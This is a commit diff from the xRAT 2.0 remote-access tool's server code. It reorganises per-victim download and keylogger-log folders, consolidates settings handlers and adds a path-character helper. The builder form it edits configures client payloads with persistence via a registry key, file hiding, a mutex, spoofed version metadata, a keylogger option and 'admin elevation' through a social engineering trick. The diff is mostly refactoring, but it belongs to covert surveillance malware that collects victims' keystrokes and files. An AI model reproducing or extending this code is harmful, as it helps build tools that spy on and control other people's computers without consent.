Merge pull request #21 from MaxXor/master

Merge with recent base
This commit is contained in:
Justin Yanke 2015-06-02 12:32:37 -04:00
commit e2178f5382
10 changed files with 78 additions and 171 deletions

View File

@ -1,4 +1,6 @@
using System;
using System.IO;
using System.Linq;
using System.Windows.Forms;
using xServer.Core.Packets.ClientPackets;
using xServer.Forms;
@ -27,6 +29,12 @@ namespace xServer.Core.Commands
client.Value.Username = packet.Username;
client.Value.PCName = packet.PCName;
string userAtPc = string.Format("{0}@{1}", client.Value.Username, client.Value.PCName);
client.Value.DownloadDirectory = (!Helper.Helper.CheckPathForIllegalChars(userAtPc)) ?
Path.Combine(Application.StartupPath, "Clients\\" + userAtPc + "\\") :
Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\");
if (!FrmMain.Instance.ListenServer.AllTimeConnectedClients.ContainsKey(client.Value.Id))
FrmMain.Instance.ListenServer.AllTimeConnectedClients.Add(client.Value.Id, DateTime.Now);
@ -36,8 +44,8 @@ namespace xServer.Core.Commands
ListViewItem lvi = new ListViewItem(new string[]
{
" " + client.EndPoint.Address.ToString(), client.EndPoint.Port.ToString(),
string.Format("{0}@{1}", client.Value.Username, client.Value.PCName), client.Value.Version,
"Connected", "Active", country, client.Value.OperatingSystem, client.Value.AccountType,
userAtPc, client.Value.Version, "Connected", "Active", country,
client.Value.OperatingSystem, client.Value.AccountType
}) { Tag = client, ImageIndex = packet.ImageIndex };

View File

@ -22,11 +22,10 @@ namespace xServer.Core.Commands
public static void HandleDownloadFileResponse(Client client, DownloadFileResponse packet)
{
string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString());
if (!Directory.Exists(downloadPath))
Directory.CreateDirectory(downloadPath);
if (!Directory.Exists(client.Value.DownloadDirectory))
Directory.CreateDirectory(client.Value.DownloadDirectory);
downloadPath = Path.Combine(downloadPath, packet.Filename);
string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename);
bool Continue = true;
if (packet.CurrentBlock == 0 && File.Exists(downloadPath))

View File

@ -124,7 +124,7 @@ namespace xServer.Core.Commands
return;
}
string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\");
string downloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\");
if (!Directory.Exists(downloadPath))
Directory.CreateDirectory(downloadPath);
@ -137,7 +137,7 @@ namespace xServer.Core.Commands
if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks)
{
FileInfo[] iFiles = new DirectoryInfo(Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\")).GetFiles();
FileInfo[] iFiles = new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles();
if (iFiles.Length == 0)
return;

View File

@ -1,4 +1,6 @@
using System;
using System.IO;
using System.Linq;
using System.Text;
namespace xServer.Core.Helper
@ -8,6 +10,12 @@ namespace xServer.Core.Helper
private const string CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
private static readonly Random _rnd = new Random(Environment.TickCount);
private static readonly string[] _sizes = {"B", "KB", "MB", "GB"};
private static readonly char[] _illegalChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray();
public static bool CheckPathForIllegalChars(string path)
{
return path.Any(c => _illegalChars.Contains(c));
}
public static string GetRandomFilename(int length, string extension)
{

View File

@ -17,6 +17,7 @@ namespace xServer.Core
public string Id { get; set; }
public string Username { get; set; }
public string PCName { get; set; }
public string DownloadDirectory { get; set; }
public FrmRemoteDesktop FrmRdp { get; set; }
public FrmTaskManager FrmTm { get; set; }
@ -34,7 +35,6 @@ namespace xServer.Core
public int LastMonitor { get; set; }
public Bitmap LastDesktop { get; set; }
public UnsafeStreamCodec StreamCodec { get; set; }
public ReverseProxyServer ProxyServer { get; set; }
public UserState()

View File

@ -1,6 +1,7 @@
using System;
using System.IO;
using System.Windows.Forms;
using xServer.Core.Helper;
using xServer.Core.Misc;
namespace xServer.Forms
@ -52,16 +53,14 @@ namespace xServer.Forms
private void txtName_KeyPress(object sender, KeyPressEventArgs e)
{
string illegal = new string(Path.GetInvalidPathChars()) + new string(Path.GetInvalidFileNameChars());
if ((e.KeyChar == '\\' || illegal.Contains(e.KeyChar.ToString())) && !char.IsControl(e.KeyChar))
e.Handled = true;
e.Handled = ((e.KeyChar == '\\' || Helper.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
private void txtPath_KeyPress(object sender, KeyPressEventArgs e)
{
string illegal = new string(Path.GetInvalidPathChars()) + new string(Path.GetInvalidFileNameChars());
if ((e.KeyChar == '\\' || illegal.Contains(e.KeyChar.ToString())) && !char.IsControl(e.KeyChar))
e.Handled = true;
e.Handled = ((e.KeyChar == '\\' || Helper.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
}
}

View File

@ -131,7 +131,7 @@
this.txtDelay.Size = new System.Drawing.Size(66, 22);
this.txtDelay.TabIndex = 8;
this.txtDelay.Text = "5000";
this.txtDelay.TextChanged += new System.EventHandler(this.txtDelay_TextChanged);
this.txtDelay.TextChanged += new System.EventHandler(this.HasChangedSetting);
this.txtDelay.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtDelay_KeyPress);
//
// lblDelay
@ -161,7 +161,7 @@
this.txtPassword.PasswordChar = '•';
this.txtPassword.Size = new System.Drawing.Size(201, 22);
this.txtPassword.TabIndex = 5;
this.txtPassword.TextChanged += new System.EventHandler(this.txtPassword_TextChanged);
this.txtPassword.TextChanged += new System.EventHandler(this.HasChangedSetting);
//
// lblPassword
//
@ -179,7 +179,7 @@
this.txtPort.Name = "txtPort";
this.txtPort.Size = new System.Drawing.Size(66, 22);
this.txtPort.TabIndex = 3;
this.txtPort.TextChanged += new System.EventHandler(this.txtPort_TextChanged);
this.txtPort.TextChanged += new System.EventHandler(this.HasChangedSetting);
this.txtPort.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtPort_KeyPress);
//
// lblPort
@ -197,7 +197,7 @@
this.txtHost.Name = "txtHost";
this.txtHost.Size = new System.Drawing.Size(201, 22);
this.txtHost.TabIndex = 1;
this.txtHost.TextChanged += new System.EventHandler(this.txtHost_TextChanged);
this.txtHost.TextChanged += new System.EventHandler(this.HasChangedSetting);
//
// lblHost
//
@ -271,7 +271,7 @@
this.rbSystem.Text = "System";
this.tooltip.SetToolTip(this.rbSystem, "Administrator Privileges are required to install the client in System.");
this.rbSystem.UseVisualStyleBackColor = true;
this.rbSystem.CheckedChanged += new System.EventHandler(this.rbSystem_CheckedChanged);
this.rbSystem.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
//
// rbProgramFiles
//
@ -284,7 +284,7 @@
this.rbProgramFiles.Text = "Program Files";
this.tooltip.SetToolTip(this.rbProgramFiles, "Administrator Privileges are required to install the client in Program Files.");
this.rbProgramFiles.UseVisualStyleBackColor = true;
this.rbProgramFiles.CheckedChanged += new System.EventHandler(this.rbProgramFiles_CheckedChanged);
this.rbProgramFiles.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
//
// txtRegistryKeyName
//
@ -292,7 +292,7 @@
this.txtRegistryKeyName.Name = "txtRegistryKeyName";
this.txtRegistryKeyName.Size = new System.Drawing.Size(201, 22);
this.txtRegistryKeyName.TabIndex = 18;
this.txtRegistryKeyName.TextChanged += new System.EventHandler(this.txtRegistryKeyName_TextChanged);
this.txtRegistryKeyName.TextChanged += new System.EventHandler(this.HasChangedSetting);
//
// lblRegistryKeyName
//
@ -323,7 +323,7 @@
this.chkHide.TabIndex = 15;
this.chkHide.Text = "Hide File";
this.chkHide.UseVisualStyleBackColor = true;
this.chkHide.CheckedChanged += new System.EventHandler(this.chkHide_CheckedChanged);
this.chkHide.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
//
// btnMutex
//
@ -359,7 +359,7 @@
this.txtInstallsub.Name = "txtInstallsub";
this.txtInstallsub.Size = new System.Drawing.Size(201, 22);
this.txtInstallsub.TabIndex = 12;
this.txtInstallsub.TextChanged += new System.EventHandler(this.txtInstallsub_TextChanged);
this.txtInstallsub.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
this.txtInstallsub.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallsub_KeyPress);
//
// lblInstallsub
@ -391,7 +391,7 @@
this.rbAppdata.TabStop = true;
this.rbAppdata.Text = "Application Data";
this.rbAppdata.UseVisualStyleBackColor = true;
this.rbAppdata.CheckedChanged += new System.EventHandler(this.rbAppdata_CheckedChanged);
this.rbAppdata.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
//
// txtMutex
//
@ -400,7 +400,7 @@
this.txtMutex.Name = "txtMutex";
this.txtMutex.Size = new System.Drawing.Size(201, 22);
this.txtMutex.TabIndex = 1;
this.txtMutex.TextChanged += new System.EventHandler(this.txtMutex_TextChanged);
this.txtMutex.TextChanged += new System.EventHandler(this.HasChangedSetting);
//
// lblMutex
//
@ -426,7 +426,7 @@
this.txtInstallname.Name = "txtInstallname";
this.txtInstallname.Size = new System.Drawing.Size(168, 22);
this.txtInstallname.TabIndex = 5;
this.txtInstallname.TextChanged += new System.EventHandler(this.txtInstallname_TextChanged);
this.txtInstallname.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
this.txtInstallname.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallname_KeyPress);
//
// lblInstallname
@ -459,7 +459,7 @@
this.chkIconChange.Text = "Change Icon";
this.tooltip.SetToolTip(this.chkIconChange, "Custom social engineering tactic to elevate Admin privileges.");
this.chkIconChange.UseVisualStyleBackColor = true;
this.chkIconChange.CheckedChanged += new System.EventHandler(this.chkIconChange_CheckedChanged);
this.chkIconChange.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
//
// chkElevation
//
@ -471,7 +471,7 @@
this.chkElevation.Text = "Enable Admin Elevation";
this.tooltip.SetToolTip(this.chkElevation, "Custom social engineering tactic to elevate Admin privileges.");
this.chkElevation.UseVisualStyleBackColor = true;
this.chkElevation.CheckedChanged += new System.EventHandler(this.chkElevation_CheckedChanged);
this.chkElevation.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
//
// btnBuild
//
@ -526,7 +526,7 @@
this.txtFileVersion.Name = "txtFileVersion";
this.txtFileVersion.Size = new System.Drawing.Size(201, 22);
this.txtFileVersion.TabIndex = 16;
this.txtFileVersion.TextChanged += new System.EventHandler(this.txtFileVersion_TextChanged);
this.txtFileVersion.TextChanged += new System.EventHandler(this.HasChangedSetting);
//
// lblFileVersion
//
@ -543,7 +543,7 @@
this.txtProductVersion.Name = "txtProductVersion";
this.txtProductVersion.Size = new System.Drawing.Size(201, 22);
this.txtProductVersion.TabIndex = 14;
this.txtProductVersion.TextChanged += new System.EventHandler(this.txtProductVersion_TextChanged);
this.txtProductVersion.TextChanged += new System.EventHandler(this.HasChangedSetting);
//
// lblProductVersion
//
@ -560,7 +560,7 @@
this.txtOriginalFilename.Name = "txtOriginalFilename";
this.txtOriginalFilename.Size = new System.Drawing.Size(201, 22);
this.txtOriginalFilename.TabIndex = 12;
this.txtOriginalFilename.TextChanged += new System.EventHandler(this.txtOriginalFilename_TextChanged);
this.txtOriginalFilename.TextChanged += new System.EventHandler(this.HasChangedSetting);
//
// lblOriginalFilename
//
@ -577,7 +577,7 @@
this.txtTrademarks.Name = "txtTrademarks";
this.txtTrademarks.Size = new System.Drawing.Size(201, 22);
this.txtTrademarks.TabIndex = 10;
this.txtTrademarks.TextChanged += new System.EventHandler(this.txtTrademarks_TextChanged);
this.txtTrademarks.TextChanged += new System.EventHandler(this.HasChangedSetting);
//
// lblTrademarks
//
@ -594,7 +594,7 @@
this.txtCopyright.Name = "txtCopyright";
this.txtCopyright.Size = new System.Drawing.Size(201, 22);
this.txtCopyright.TabIndex = 8;
this.txtCopyright.TextChanged += new System.EventHandler(this.txtCopyright_TextChanged);
this.txtCopyright.TextChanged += new System.EventHandler(this.HasChangedSetting);
//
// lblCopyright
//
@ -611,7 +611,7 @@
this.txtCompanyName.Name = "txtCompanyName";
this.txtCompanyName.Size = new System.Drawing.Size(201, 22);
this.txtCompanyName.TabIndex = 6;
this.txtCompanyName.TextChanged += new System.EventHandler(this.txtCompanyName_TextChanged);
this.txtCompanyName.TextChanged += new System.EventHandler(this.HasChangedSetting);
//
// lblCompanyName
//
@ -628,7 +628,7 @@
this.txtDescription.Name = "txtDescription";
this.txtDescription.Size = new System.Drawing.Size(201, 22);
this.txtDescription.TabIndex = 4;
this.txtDescription.TextChanged += new System.EventHandler(this.txtDescription_TextChanged);
this.txtDescription.TextChanged += new System.EventHandler(this.HasChangedSetting);
//
// lblDescription
//
@ -645,7 +645,7 @@
this.txtProductName.Name = "txtProductName";
this.txtProductName.Size = new System.Drawing.Size(201, 22);
this.txtProductName.TabIndex = 2;
this.txtProductName.TextChanged += new System.EventHandler(this.txtProductName_TextChanged);
this.txtProductName.TextChanged += new System.EventHandler(this.HasChangedSetting);
//
// lblProductName
//
@ -677,7 +677,7 @@
this.chkKeylogger.TabIndex = 2;
this.chkKeylogger.Text = "Enable Keylogger";
this.chkKeylogger.UseVisualStyleBackColor = true;
this.chkKeylogger.CheckedChanged += new System.EventHandler(this.chkKeylogger_CheckedChanged);
this.chkKeylogger.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
//
// FrmBuilder
//
@ -696,8 +696,8 @@
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmBuilder";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "xRAT 2.0 - Builder";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmBuilder_FormClosing);
this.Load += new System.EventHandler(this.FrmBuilder_Load);
this.groupConnection.ResumeLayout(false);
@ -774,4 +774,4 @@
private System.Windows.Forms.GroupBox groupAdditional;
private System.Windows.Forms.CheckBox chkKeylogger;
}
}
}

View File

@ -130,8 +130,7 @@ namespace xServer.Forms
private void txtPort_KeyPress(object sender, KeyPressEventArgs e)
{
if (!char.IsControl(e.KeyChar) && !char.IsDigit(e.KeyChar))
e.Handled = true;
e.Handled = (!char.IsControl(e.KeyChar) && !char.IsDigit(e.KeyChar));
}
private void txtDelay_KeyPress(object sender, KeyPressEventArgs e)
@ -141,51 +140,14 @@ namespace xServer.Forms
private void txtInstallname_KeyPress(object sender, KeyPressEventArgs e)
{
char[] illegal = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray();
e.Handled = ((e.KeyChar == '\\' || illegal.Any(illegalChar => (illegalChar == e.KeyChar))) && !char.IsControl(e.KeyChar));
e.Handled = ((e.KeyChar == '\\' || Helper.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
private void txtInstallsub_KeyPress(object sender, KeyPressEventArgs e)
{
char[] illegal = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray();
e.Handled = ((e.KeyChar == '\\' || illegal.Any(illegalChar => (illegalChar == e.KeyChar))) && !char.IsControl(e.KeyChar));
}
private void txtInstallname_TextChanged(object sender, EventArgs e)
{
HasChanged();
RefreshExamplePath();
}
private void rbAppdata_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
RefreshExamplePath();
}
private void rbProgramFiles_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
RefreshExamplePath();
}
private void rbSystem_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
RefreshExamplePath();
}
private void txtInstallsub_TextChanged(object sender, EventArgs e)
{
HasChanged();
RefreshExamplePath();
e.Handled = ((e.KeyChar == '\\' || Helper.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
private void btnMutex_Click(object sender, EventArgs e)
@ -368,94 +330,26 @@ namespace xServer.Forms
return match.Success;
}
private void txtHost_TextChanged(object sender, EventArgs e)
/// <summary>
/// Handles a basic change in setting.
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void HasChangedSetting(object sender, EventArgs e)
{
HasChanged();
}
private void txtPort_TextChanged(object sender, EventArgs e)
/// <summary>
/// Handles a basic change in setting, also refreshing the example file path.
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void HasChangedSettingAndFilePath(object sender, EventArgs e)
{
HasChanged();
}
private void txtPassword_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtDelay_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtMutex_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void chkHide_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtRegistryKeyName_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void chkElevation_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
}
private void chkIconChange_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtProductName_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtDescription_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtCompanyName_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtCopyright_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtTrademarks_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtOriginalFilename_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtProductVersion_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void txtFileVersion_TextChanged(object sender, EventArgs e)
{
HasChanged();
}
private void chkKeylogger_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
RefreshExamplePath();
}
}
}

View File

@ -265,11 +265,8 @@ namespace xServer.Forms
private void btnOpenDLFolder_Click(object sender, EventArgs e)
{
string downloadPath = Path.Combine(Application.StartupPath,
"Clients\\" + _connectClient.EndPoint.Address.ToString());
if (Directory.Exists(downloadPath))
Process.Start(downloadPath);
if (Directory.Exists(_connectClient.Value.DownloadDirectory))
Process.Start(_connectClient.Value.DownloadDirectory);
else
MessageBox.Show("No files downloaded yet!", "xRAT 2.0 - File Manager", MessageBoxButtons.OK,
MessageBoxIcon.Information);

View File

@ -16,8 +16,7 @@ namespace xServer.Forms
{
_connectClient = c;
_connectClient.Value.FrmKl = this;
_path = Path.Combine(Application.StartupPath,
"Clients\\" + _connectClient.EndPoint.Address.ToString() + "\\Logs\\");
_path = Path.Combine(_connectClient.Value.DownloadDirectory, "Logs\\");
InitializeComponent();
_lvwColumnSorter = new ListViewColumnSorter();
@ -32,7 +31,10 @@ namespace xServer.Forms
_connectClient.EndPoint.Port.ToString());
if (!Directory.Exists(_path))
{
Directory.CreateDirectory(_path);
return;
}
DirectoryInfo dicInfo = new DirectoryInfo(_path);